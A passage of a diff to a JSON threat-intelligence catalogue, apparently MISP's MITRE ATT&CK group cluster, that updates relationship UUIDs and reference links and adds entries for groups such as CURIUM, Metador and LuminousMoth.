"cff94884-3b1c-4987-a70b-6d5643c621c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d4dc46e3-5ba5-45b9-8204-010867cacfcb", "tags": [ @@ -16185,6 +15854,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d94b3ae9-8059-4989-8e9f-ea0f601f80a7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ @@ -16192,20 +15868,6 @@ ], "type": "uses" }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e33e4603-afab-402d-b2a1-248d435b5fe0", "tags": [ @@ -16213,13 +15875,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -16241,13 +15896,6 @@ ], "type": "uses" }, - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", "tags": [ @@ -16255,13 +15903,6 @@ ], "type": "uses" }, - { - "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ @@ -16269,13 +15910,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ @@ -16283,20 +15917,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f59508a6-3615-47c3-b493-6676e1a39a87", "tags": [ @@ -16311,27 +15931,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ @@ -17289,6 +16888,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", "tags": [ @@ -17386,9 +16992,9 @@ "external_id": "G0096", "refs": [ "https://attack.mitre.org/groups/G0096", - "https://blog.group-ib.com/colunmtk_apt41", - "https://content.fireeye.com/apt-41/rpt-apt41", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.group-ib.com/blog/colunmtk-apt41/", + "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" ], "synonyms": [ "APT41", @@ -17557,6 +17163,13 @@ ], "type": "uses" }, + { + "dest-uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ @@ -17662,6 +17275,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6c575670-d14c-4c7f-9b9d-fd1b363e255d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -17767,6 +17387,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -18120,13 +17747,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "tags": [ @@ -18141,6 +17761,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d906e6f7-434c-44c0-b51a-ed50af8f7945", "tags": [ @@ -18219,6 +17846,13 @@ ] }, "related": [ + { + "dest-uuid": "24ce266c-1860-5e04-a107-48d1d39f8ebf", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "tags": [ @@ -18253,13 +17887,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "24ce266c-1860-5e04-a107-48d1d39f8ebf", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656", @@ -18457,15 +18084,7 @@ "Taidoor" ] }, - "related": [ - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], + "related": [], "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46", "value": "Taidoor - G0015" }, @@ -18475,8 +18094,8 @@ "external_id": "G0061", "refs": [ "https://attack.mitre.org/groups/G0061", - "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html", - "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" ], "synonyms": [ "FIN8" @@ -18658,13 +18277,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ @@ -18693,6 +18305,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -19771,14 +19390,14 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20127,13 +19746,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c9703cd3-141c-43a0-a926-380082be5d04", "tags": [ @@ -20567,6 +20179,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e6f4af06-fbb5-5471-82ae-b0bdb4d446ce", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "e928333f-f3df-4039-9b8b-556c2add0e42", "tags": [ @@ -20587,13 +20206,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e6f4af06-fbb5-5471-82ae-b0bdb4d446ce", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "00f67a77-86a4-4adf-be26-1a54fc713340", @@ -21108,13 +20720,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cb69b20d-56d0-41ab-8440-4a4b251614d4", "tags": [ @@ -21257,13 +20862,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -22145,6 +21743,13 @@ ], "type": "uses" }, + { + "dest-uuid": "96c3508e-f5f9-52b4-9d1e-b246d68f643d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -22243,26 +21848,12 @@ ], "type": "uses" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "96c3508e-f5f9-52b4-9d1e-b246d68f643d", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c", @@ -22526,13 +22117,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ @@ -22575,6 +22159,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -23691,7 +23282,7 @@ "refs": [ "https://attack.mitre.org/groups/G0085", "https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html", - "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf", "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" ], "synonyms": [ @@ -23793,10 +23384,10 @@ "external_id": "G0045", "refs": [ "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", "https://attack.mitre.org/groups/G0045", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", - "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", @@ -24743,13 +24334,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ @@ -24792,6 +24376,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -25002,7 +24593,7 @@ "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf", "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/", - "https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf", + "https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf", "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", @@ -25716,7 +25307,7 @@ "value": "Kimsuky - G0094" }, { - "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", "meta": { "external_id": "G0049", "refs": [ @@ -25726,6 +25317,7 @@ "http://www.clearskysec.com/oilrig/", "https://attack.mitre.org/groups/G0049", "https://pan-unit42.github.io/playbook_viewer/", + "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens", "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/", @@ -25737,7 +25329,8 @@ "COBALT GYPSY", "IRN2", "APT34", - "Helix Kitten" + "Helix Kitten", + "Evasive Serpens" ] }, "related": [ @@ -26280,13 +25873,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ @@ -27105,18 +26691,18 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "dest-uuid": "d0b9840d-efe2-5200-89d1-2f1a37737e30", "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" + "estimative-language:likelihood-probability=\"likely\"" ], - "type": "uses" + "type": "similar" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", @@ -27145,13 +26731,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "d0b9840d-efe2-5200-89d1-2f1a37737e30", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "38863958-a201-4ce1-9dbe-539b0b6804e0", @@ -27502,13 +27081,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "f9c06633-dcff-48a1-8588-759e7cec5694", @@ -27920,13 +27492,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b76b2d94-60e4-4107-a903-4a3a7622fb3b", "tags": [ @@ -28004,6 +27569,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -28184,13 +27756,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ @@ -28205,6 +27770,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", "tags": [ @@ -28505,453 +28077,12 @@ ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - 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], - "type": "uses" - }, - { - "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f59508a6-3615-47c3-b493-6676e1a39a87", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "dc5e2999-ca1a-47d4-8d12-a6984b138a1b", @@ -29051,13 +28182,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ @@ -29079,6 +28203,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -29104,6 +28235,51 @@ "uuid": "94873029-f950-4268-9cfd-5032e15cb182", "value": "TA551 - G0127" }, + { + "description": "[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group first reported in November 2021 that has invested in building a relationship with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)", + "meta": { + "external_id": "G1012", + "refs": [ + "https://attack.mitre.org/groups/G1012", + "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021" + ], + "synonyms": [ + "CURIUM" + ] + }, + "related": [ + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3ea7add5-5b8f-45d8-b1f1-905d2729d62a", + "value": "CURIUM - G1012" + }, { "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)", "meta": { @@ -29198,6 +28374,13 @@ ], "type": "uses" }, + { + "dest-uuid": "3dada716-34c3-506e-aa3a-1889bd975b4b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -29282,6 +28465,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -29330,13 +28520,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "3dada716-34c3-506e-aa3a-1889bd975b4b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "3fc023b2-c5cc-481d-9c3e-70141ae1a87e", @@ -29607,13 +28790,107 @@ "uuid": "afec6dc3-a18e-4b62-b1a4-5510e1a498d1", "value": "Windshift - G0112" }, + { + "description": "[Metador](https://attack.mitre.org/groups/G1013) is a suspected cyber espionage group that was first reported in September 2022. [Metador](https://attack.mitre.org/groups/G1013) has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group [Metador](https://attack.mitre.org/groups/G1013) based on the \"I am meta\" string in one of the group's malware samples and the expectation of Spanish-language responses from C2 servers.(Citation: SentinelLabs Metador Sept 2022)", + "meta": { + "external_id": "G1013", + "refs": [ + "https://assets.sentinelone.com/sentinellabs22/metador#page=1", + "https://attack.mitre.org/groups/G1013" + ], + "synonyms": [ + "Metador" + ] + }, + "related": [ + { + "dest-uuid": "3be1fb7a-0f7e-415e-8e3a-74a80d596e68", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df350889-4de9-44e5-8cb3-888b8343e97c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "bfc5ddb3-4dfb-4278-8928-020e1b3feddd", + "value": "Metador - G1013" + }, { "description": "[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "meta": { "external_id": "G0114", "refs": [ "https://attack.mitre.org/groups/G0114", - "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", + "https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf", "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/" ], "synonyms": [ @@ -29908,13 +29185,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ @@ -29985,6 +29255,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -30095,6 +29372,234 @@ "uuid": "99910207-1741-4da1-9b5d-537410186b51", "value": "Gelsemium - G0141" }, + { + "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) is a Chinese-speaking cyber espionage group that has been active since at least October 2020. [LuminousMoth](https://attack.mitre.org/groups/G1014) has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between [LuminousMoth](https://attack.mitre.org/groups/G1014) and [Mustang Panda](https://attack.mitre.org/groups/G0129) based on similar targeting and TTPs, as well as network infrastructure overlaps.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)", + "meta": { + "external_id": "G1014", + "refs": [ + "https://attack.mitre.org/groups/G1014", + "https://securelist.com/apt-luminousmoth/103332/", + "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited" + ], + "synonyms": [ + "LuminousMoth" + ] + 